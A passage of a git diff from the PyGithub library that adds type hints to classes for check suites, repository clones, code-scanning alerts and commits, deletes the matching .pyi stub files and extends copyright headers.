dict[str, Any]) -> None: if "after" in attributes: # pragma no branch self._after = self._makeStringAttribute(attributes["after"]) if "app" in attributes: # pragma no branch - self._app = self._makeClassAttribute( - github.GithubApp.GithubApp, attributes["app"] - ) + self._app = self._makeClassAttribute(github.GithubApp.GithubApp, attributes["app"]) if "before" in attributes: # pragma no branch self._before = self._makeStringAttribute(attributes["before"]) if "check_runs_url" in attributes: # pragma no branch - self._check_runs_url = self._makeStringAttribute( - attributes["check_runs_url"] - ) + self._check_runs_url = self._makeStringAttribute(attributes["check_runs_url"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "created_at" in attributes: # pragma no branch @@ -246,25 +258,19 @@ def _useAttributes(self, attributes): # The GitCommit object only looks for 'sha' if "id" in attributes["head_commit"]: attributes["head_commit"]["sha"] = attributes["head_commit"]["id"] - self._head_commit = self._makeClassAttribute( - github.GitCommit.GitCommit, attributes["head_commit"] - ) + self._head_commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["head_commit"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "latest_check_runs_count" in attributes: # pragma no branch - self._latest_check_runs_count = self._makeIntAttribute( - attributes["latest_check_runs_count"] - ) + self._latest_check_runs_count = self._makeIntAttribute(attributes["latest_check_runs_count"]) if "pull_requests" in attributes: # pragma no branch self._pull_requests = self._makeListOfClassesAttribute( github.PullRequest.PullRequest, attributes["pull_requests"] ) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "updated_at" in attributes: # pragma no branch diff --git a/github/CheckSuite.pyi b/github/CheckSuite.pyi deleted file mode 100644 index ee124d84ea..0000000000 --- a/github/CheckSuite.pyi +++ /dev/null @@ -1,55 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Union - -from github.CheckRun import CheckRun -from github.GitCommit import GitCommit -from github.GithubApp import GithubApp -from github.GithubObject import CompletableGithubObject -from github.PaginatedList import PaginatedList -from github.PullRequest import PullRequest -from github.Repository import Repository -from github.GithubObject import _NotSetType, NotSet - -class CheckSuite(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def after(self) -> str: ... - @property - def app(self) -> GithubApp: ... - @property - def before(self) -> str: ... - @property - def check_runs_url(self) -> str: ... - @property - def conclusion(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def head_branch(self) -> str: ... - @property - def head_commit(self) -> GitCommit: ... - @property - def head_sha(self) -> str: ... - @property - def id(self) -> int: ... - @property - def latest_check_runs_count(self) -> int: ... - @property - def pull_requests(self) -> List[PullRequest]: ... - @property - def repository(self) -> Repository: ... - @property - def status(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - def rerequest(self) -> bool: ... - def get_check_runs( - self, - check_name: Union[str, _NotSetType]=NotSet, - status: Union[str, _NotSetType]=NotSet, - filter: Union[str, _NotSetType]=NotSet, - ) -> PaginatedList[CheckRun]: ... diff --git a/github/Clones.py b/github/Clones.py index e3970e3199..3dcbfbd83b 100644 --- a/github/Clones.py +++ b/github/Clones.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,16 +35,24 @@ # # ################################################################################ -import github.GithubObject +from datetime import datetime +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Clones(github.GithubObject.NonCompletableGithubObject): + +class Clones(NonCompletableGithubObject): """ This class represents a popular Path for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-repository-clones """ - def __repr__(self): + def _initAttributes(self) -> None: + self._timestamp: Attribute[datetime] = NotSet + self._count: Attribute[int] = NotSet + self._uniques: Attribute[int] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "timestamp": self._timestamp.value, @@ -43,32 +62,18 @@ def __repr__(self): ) @property - def timestamp(self): - """ - :type: datetime.datetime - """ + def timestamp(self) -> datetime: return self._timestamp.value @property - def count(self): - """ - :type: integer - """ + def count(self) -> int: return self._count.value @property - def uniques(self): - """ - :type: integer - """ + def uniques(self) -> int: return self._uniques.value - def _initAttributes(self): - self._timestamp = github.GithubObject.NotSet - self._count = github.GithubObject.NotSet - self._uniques = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "timestamp" in attributes: # pragma no branch self._timestamp = self._makeDatetimeAttribute(attributes["timestamp"]) if "count" in attributes: # pragma no branch diff --git a/github/Clones.pyi b/github/Clones.pyi deleted file mode 100644 index 4e53c12591..0000000000 --- a/github/Clones.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Clones(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def count(self) -> int: ... - @property - def timestamp(self) -> datetime: ... - @property - def uniques(self) -> int: ... diff --git a/github/CodeScanAlert.py b/github/CodeScanAlert.py index da38633600..f39314bc86 100644 --- a/github/CodeScanAlert.py +++ b/github/CodeScanAlert.py @@ -1,6 +1,9 @@ ############################ Copyrights and license ############################ # # # Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,160 +23,118 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.CodeScanAlertInstance import github.CodeScanRule import github.CodeScanTool import github.GithubObject import github.NamedUser -import github.PaginatedList +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList -class CodeScanAlert(github.GithubObject.NonCompletableGithubObject): +class CodeScanAlert(NonCompletableGithubObject): """ This class represents alerts from code scanning. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ - def __repr__(self): + def _initAttributes(self) -> None: + self._number: Attribute[int] = NotSet + self._rule: Attribute[github.CodeScanRule.CodeScanRule] = NotSet + self._tool: Attribute[github.CodeScanTool.CodeScanTool] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._dismissed_at: Attribute[datetime | None] = NotSet + self._dismissed_by: Attribute[github.NamedUser.NamedUser | None] = NotSet + self._dismissed_reason: Attribute[str | None] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._instances_url: Attribute[str] = NotSet + self._most_recent_instance: Attribute[github.CodeScanAlertInstance.CodeScanAlertInstance] = NotSet + self._state: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"number": self.number}) @property - def number(self): - """ - :type: int - """ + def number(self) -> int: return self._number.value @property - def rule(self): - """ - :type: :class: `github.CodeScanRule.CodeScanRule` - """ + def rule(self) -> github.CodeScanRule.CodeScanRule: return self._rule.value @property - def tool(self): - """ - :type: :class: `github.CodeScanTool.CodeScanTool` - """ + def tool(self) -> github.CodeScanTool.CodeScanTool: return self._tool.value @property - def created_at(self): - """ - :type: datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def dismissed_at(self): - """ - :type: datetime - """ + def dismissed_at(self) -> datetime | None: return self._dismissed_at.value @property - def dismissed_by(self): - """ - :type: :class: `github.NamedUser.NamedUser` - """ + def dismissed_by(self) -> github.NamedUser.NamedUser | None: return self._dismissed_by.value @property - def dismissed_reason(self): - """ - :type: str - """ + def dismissed_reason(self) -> str | None: return self._dismissed_reason.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: return self._html_url.value @property - def instances_url(self): - """ - :type: string - """ + def instances_url(self) -> str: return self._instances_url.value @property - def most_recent_instance(self): - """ - :type: :class: github.CodeScanAlertInstance.CodeScanAlertInstance - """ + def most_recent_instance(self) -> github.CodeScanAlertInstance.CodeScanAlertInstance: return self._most_recent_instance.value @property - def state(self): - """ - :type: str - """ + def state(self) -> str: return self._state.value - def get_instances(self): + def get_instances(self) -> PaginatedList[github.CodeScanAlertInstance.CodeScanAlertInstance]: """ :calls: `GET` on the URL for instances as provided by Github - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CodeScanAlertInstance.CodeScanAlertInstance` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CodeScanAlertInstance.CodeScanAlertInstance, self._requester, self.instances_url, None, ) - def _initAttributes(self): - self._number = github.GithubObject.NotSet - self._rule = github.GithubObject.NotSet - self._tool = github.GithubObject.NotSet - - self._created_at = github.GithubObject.NotSet - self._dismissed_at = github.GithubObject.NotSet - self._dismissed_by = github.GithubObject.NotSet - self._dismissed_reason = github.GithubObject.NotSet - - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._instances_url = github.GithubObject.NotSet - - self._most_recent_instance = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "rule" in attributes: # pragma no branch - self._rule = self._makeClassAttribute( - github.CodeScanRule.CodeScanRule, attributes["rule"] - ) + self._rule = self._makeClassAttribute(github.CodeScanRule.CodeScanRule, attributes["rule"]) if "tool" in attributes: # pragma no branch - self._tool = self._makeClassAttribute( - github.CodeScanTool.CodeScanTool, attributes["tool"] - ) + self._tool = self._makeClassAttribute(github.CodeScanTool.CodeScanTool, attributes["tool"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "dismissed_at" in attributes: # pragma no branch self._dismissed_at = self._makeDatetimeAttribute(attributes["dismissed_at"]) if "dismissed_by" in attributes: # pragma no branch - self._dismissed_by = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["dismissed_by"] - ) + self._dismissed_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["dismissed_by"]) if "dismissed_reason" in attributes: # pragma no branch - self._dismissed_reason = self._makeStringAttribute( - attributes["dismissed_reason"] - ) + self._dismissed_reason = self._makeStringAttribute(attributes["dismissed_reason"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/CodeScanAlertInstance.py b/github/CodeScanAlertInstance.py index 62ce522474..e9fb2b82f0 100644 --- a/github/CodeScanAlertInstance.py +++ b/github/CodeScanAlertInstance.py @@ -1,6 +1,9 @@ ############################ Copyrights and license ############################ # # # Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,86 +23,69 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.CodeScanAlertInstanceLocation -import github.GithubObject +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.CodeScanAlertInstanceLocation import CodeScanAlertInstanceLocation -class CodeScanAlertInstance(github.GithubObject.NonCompletableGithubObject): +class CodeScanAlertInstance(NonCompletableGithubObject): """ This class represents code scanning alert instances. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ - def __repr__(self): + def _initAttributes(self) -> None: + self._ref: Attribute[str] = NotSet + self._analysis_key: Attribute[str] = NotSet + self._environment: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._commit_sha: Attribute[str] = NotSet + self._message: Attribute[dict[str, Any]] = NotSet + self._location: Attribute[CodeScanAlertInstanceLocation] = NotSet + self._classifications: Attribute[list[str]] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"ref": self.ref, "analysis_key": self.analysis_key}) @property - def ref(self): - """ - :type: str - """ + def ref(self) -> str: return self._ref.value @property - def analysis_key(self): - """ - :type: str - """ + def analysis_key(self) -> str: return self._analysis_key.value @property - def environment(self): - """ - :type: str - """ + def environment(self) -> str: return self._environment.value @property - def state(self): - """ - :type: str - """ + def state(self) -> str: return self._state.value @property - def commit_sha(self): - """ - :type: str - """ + def commit_sha(self) -> str: return self._commit_sha.value @property - def message(self): - """ - :type: str - """ + def message(self) -> dict[str, Any]: return self._message.value @property - def location(self): - """ - :type: :class: `github.CodeScanAlertInstanceLocation.CodeScanAlertInstanceLocation` - """ + def location(self) -> CodeScanAlertInstanceLocation: return self._location.value @property - def classifications(self): - """ - :type: list of str - """ + def classifications(self) -> list[str]: return self._classifications.value - def _initAttributes(self): - self._ref = github.GithubObject.NotSet - self._analysis_key = github.GithubObject.NotSet - self._environment = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._commit_sha = github.GithubObject.NotSet - self._message = github.GithubObject.NotSet - self._location = github.GithubObject.NotSet - self._classifications = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "analysis_key" in attributes: # pragma no branch @@ -120,6 +106,4 @@ def _useAttributes(self, attributes): attributes["location"], ) if "classifications" in attributes: # pragma no branch - self._classifications = self._makeListOfStringsAttribute( - attributes["classifications"] - ) + self._classifications = self._makeListOfStringsAttribute(attributes["classifications"]) diff --git a/github/CodeScanAlertInstanceLocation.py b/github/CodeScanAlertInstanceLocation.py index 92b6555e99..911e05212d 100644 --- a/github/CodeScanAlertInstanceLocation.py +++ b/github/CodeScanAlertInstanceLocation.py @@ -1,6 +1,10 @@ ############################ Copyrights and license ############################ # # +# Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # # Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,19 +24,28 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CodeScanAlertInstanceLocation(github.GithubObject.NonCompletableGithubObject): + +class CodeScanAlertInstanceLocation(NonCompletableGithubObject): """ This class represents code scanning alert instance locations. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ - def __str__(self): + def _initAttributes(self) -> None: + self._path: Attribute[str] = NotSet + self._start_line: Attribute[int] = NotSet + self._start_column: Attribute[int] = NotSet + self._end_line: Attribute[int] = NotSet + self._end_column: Attribute[int] = NotSet + + def __str__(self) -> str: return f"{self.path} @ l{self.start_line}:c{self.start_column}-l{self.end_line}:c{self.end_column}" - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__( { "path": self.path, @@ -44,48 +57,26 @@ def __repr__(self): ) @property - def path(self): - """ - :type: str - """ + def path(self) -> str: return self._path.value @property - def start_line(self): - """ - :type: int - """ + def start_line(self) -> int: return self._start_line.value @property - def start_column(self): - """ - :type: int - """ + def start_column(self) -> int: return self._start_column.value @property - def end_line(self): - """ - :type: int - """ + def end_line(self) -> int: return self._end_line.value @property - def end_column(self): - """ - :type: int - """ + def end_column(self) -> int: return self._end_column.value - def _initAttributes(self): - self._path = github.GithubObject.NotSet - self._start_line = github.GithubObject.NotSet - self._start_column = github.GithubObject.NotSet - self._end_line = github.GithubObject.NotSet - self._end_column = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "start_line" in attributes: # pragma no branch diff --git a/github/CodeScanAlertInstanceLocation.pyi b/github/CodeScanAlertInstanceLocation.pyi deleted file mode 100644 index 0d8ab5e0ff..0000000000 --- a/github/CodeScanAlertInstanceLocation.pyi +++ /dev/null @@ -1,41 +0,0 @@ -############################ Copyrights and license ############################ -# # -# Copyright 2022 Eric Nieuwland # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -from typing import Any, Dict - -import github.GithubObject - -class CodeScanAlertInstanceLocation(github.GithubObject.NonCompletableGithubObject): - def __str__(self) -> str: ... - def __repr__(self) -> str: ... - @property - def path(self) -> str: ... - @property - def start_line(self) -> int: ... - @property - def start_column(self) -> int: ... - @property - def end_line(self) -> int: ... - @property - def end_column(self) -> int: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... diff --git a/github/CodeScanRule.py b/github/CodeScanRule.py index 9f7e341249..47247ee881 100644 --- a/github/CodeScanRule.py +++ b/github/CodeScanRule.py @@ -1,6 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Victor Zeng # # Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,61 +36,50 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from typing import Any -class CodeScanRule(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class CodeScanRule(NonCompletableGithubObject): """ This class represents Alerts from code scanning. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._severity: Attribute[str] = NotSet + self._security_severity_level: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self.id, "name": self.name}) @property - def id(self): - """ - :type: str - """ + def id(self) -> str: return self._id.value @property - def name(self): - """ - :type: str - """ + def name(self) -> str: return self._name.value @property - def severity(self): - """ - :type: str - """ + def severity(self) -> str: return self._severity.value @property - def security_severity_level(self): - """ - :type: str - """ + def security_severity_level(self) -> str: return self._security_severity_level.value @property - def description(self): - """ - :type: str - """ + def description(self) -> str: return self._description.value - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._severity = github.GithubObject.NotSet - self._security_severity_level = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "name" in attributes: # pragma no branch @@ -82,8 +87,6 @@ def _useAttributes(self, attributes): if "severity" in attributes: # pragma no branch self._severity = self._makeStringAttribute(attributes["severity"]) if "security_severity_level" in attributes: # pragma no branch - self._security_severity_level = self._makeStringAttribute( - attributes["security_severity_level"] - ) + self._security_severity_level = self._makeStringAttribute(attributes["security_severity_level"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) diff --git a/github/CodeScanTool.py b/github/CodeScanTool.py index afde1a02bc..bd8c7597d3 100644 --- a/github/CodeScanTool.py +++ b/github/CodeScanTool.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # # Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,16 +35,23 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CodeScanTool(github.GithubObject.NonCompletableGithubObject): + +class CodeScanTool(NonCompletableGithubObject): """ This class represents code scanning tools. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ - def __repr__(self): + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._version: Attribute[str] = NotSet + self._guid: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "guid": self.guid, @@ -39,32 +61,18 @@ def __repr__(self): ) @property - def name(self): - """ - :type: str - """ + def name(self) -> str: return self._name.value @property - def version(self): - """ - :type: str - """ + def version(self) -> str: return self._version.value @property - def guid(self): - """ - :type: str - """ + def guid(self) -> str: return self._guid.value - def _initAttributes(self): - self._name = github.GithubObject.NotSet - self._version = github.GithubObject.NotSet - self._guid = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "version" in attributes: # pragma no branch diff --git a/github/CodeScanTool.pyi b/github/CodeScanTool.pyi deleted file mode 100644 index 21a6b8dc9b..0000000000 --- a/github/CodeScanTool.pyi +++ /dev/null @@ -1,36 +0,0 @@ -############################ Copyrights and license ############################ -# # -# Copyright 2022 Eric Nieuwland # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -from typing import Any, Dict - -import github.GithubObject - -class CodeScanTool(github.GithubObject.NonCompletableGithubObject): - def __repr__(self) -> str: ... - @property - def name(self) -> str: ... - @property - def version(self) -> str: ... - @property - def guid(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... diff --git a/github/CodeScanningAnalysis.py b/github/CodeScanningAnalysis.py index 421a74d807..9bfeaf2fb5 100644 --- a/github/CodeScanningAnalysis.py +++ b/github/CodeScanningAnalysis.py @@ -179,9 +179,7 @@ def _useAttributes(self, attributes): if "sarif_id" in attributes: # pragma no branch self._sarif_id = self._makeStringAttribute(attributes["sarif_id"]) if "tool" in attributes: # pragma no branch - self._tool = self._makeClassAttribute( - github.CodeScanTool.CodeScanTool, attributes["tool"] - ) + self._tool = self._makeClassAttribute(github.CodeScanTool.CodeScanTool, attributes["tool"]) if "deletable" in attributes: # pragma no branch self._deletable = self._makeBoolAttribute(attributes["deletable"]) if "warning" in attributes: # pragma no branch diff --git a/github/Commit.py b/github/Commit.py index 2b625f6bd3..c003794fa2 100644 --- a/github/Commit.py +++ b/github/Commit.py @@ -11,6 +11,16 @@ # Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Danilo Martins # +# Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,6 +40,10 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.CheckRun import github.CheckSuite import github.CommitCombinedStatus @@ -38,219 +52,177 @@ import github.CommitStatus import github.File import github.GitCommit -import github.GithubObject import github.NamedUser import github.PaginatedList +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.CheckRun import CheckRun + from github.CheckSuite import CheckSuite + from github.CommitCombinedStatus import CommitCombinedStatus + from github.CommitComment import CommitComment + from github.CommitStats import CommitStats + from github.CommitStatus import CommitStatus + from github.File import File + from github.GitCommit import GitCommit + from github.NamedUser import NamedUser + from github.PullRequest import PullRequest -class Commit(github.GithubObject.CompletableGithubObject): +class Commit(CompletableGithubObject): """ This class represents Commits. The reference can be found here https://docs.github.com/en/rest/reference/git#commits """ - def __repr__(self): + def _initAttributes(self) -> None: + self._author: Attribute[NamedUser] = NotSet + self._comments_url: Attribute[str] = NotSet + self._commit: Attribute[GitCommit] = NotSet + self._committer: Attribute[NamedUser] = NotSet + self._files: Attribute[list[File]] = NotSet + self._html_url: Attribute[str] = NotSet + self._parents: Attribute[list[Commit]] = NotSet + self._sha: Attribute[str] = NotSet + self._stats: Attribute[CommitStats] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property - def author(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def author(self) -> NamedUser: self._completeIfNotSet(self._author) return self._author.value @property - def comments_url(self): - """ - :type: string - """ + def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property - def commit(self): - """ - :type: :class:`github.GitCommit.GitCommit` - """ + def commit(self) -> GitCommit: self._completeIfNotSet(self._commit) return self._commit.value @property - def committer(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def committer(self) -> NamedUser: self._completeIfNotSet(self._committer) return self._committer.value @property - def files(self): - """ - :type: list of :class:`github.File.File` - """ + def files(self) -> list[File]: self._completeIfNotSet(self._files) return self._files.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def parents(self): - """ - :type: list of :class:`github.Commit.Commit` - """ + def parents(self) -> list[Commit]: self._completeIfNotSet(self._parents) return self._parents.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def stats(self): - """ - :type: :class:`github.CommitStats.CommitStats` - """ + def stats(self) -> CommitStats: self._completeIfNotSet(self._stats) return self._stats.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def create_comment( self, - body, - line=github.GithubObject.NotSet, - path=github.GithubObject.NotSet, - position=github.GithubObject.NotSet, - ): + body: str, + line: Opt[int] = NotSet, + path: Opt[str] = NotSet, + position: Opt[int] = NotSet, + ) -> CommitComment: """ :calls: `POST /repos/{owner}/{repo}/commits/{sha}/comments `_ - :param body: string - :param line: integer - :param path: string - :param position: integer - :rtype: :class:`github.CommitComment.CommitComment` """ assert isinstance(body, str), body - assert line is github.GithubObject.NotSet or isinstance(line, int), line - assert path is github.GithubObject.NotSet or isinstance(path, str), path - assert position is github.GithubObject.NotSet or isinstance( - position, int - ), position - post_parameters = { - "body": body, - } - if line is not github.GithubObject.NotSet: - post_parameters["line"] = line - if path is not github.GithubObject.NotSet: - post_parameters["path"] = path - if position is not github.GithubObject.NotSet: - post_parameters["position"] = position - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/comments", input=post_parameters - ) - return github.CommitComment.CommitComment( - self._requester, headers, data, completed=True - ) + assert is_optional(line, int), line + assert is_optional(path, str), path + assert is_optional(position, int), position + post_parameters = NotSet.remove_unset_items({"body": body, "line": line, "path": path, "position": position}) + + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) + return github.CommitComment.CommitComment(self._requester, headers, data, completed=True) def create_status( self, - state, - target_url=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - context=github.GithubObject.NotSet, - ): + state: str, + target_url: Opt[str] = NotSet, + description: Opt[str] = NotSet, + context: Opt[str] = NotSet, + ) -> CommitStatus: """ :calls: `POST /repos/{owner}/{repo}/statuses/{sha} `_ - :param state: string - :param target_url: string - :param description: string - :param context: 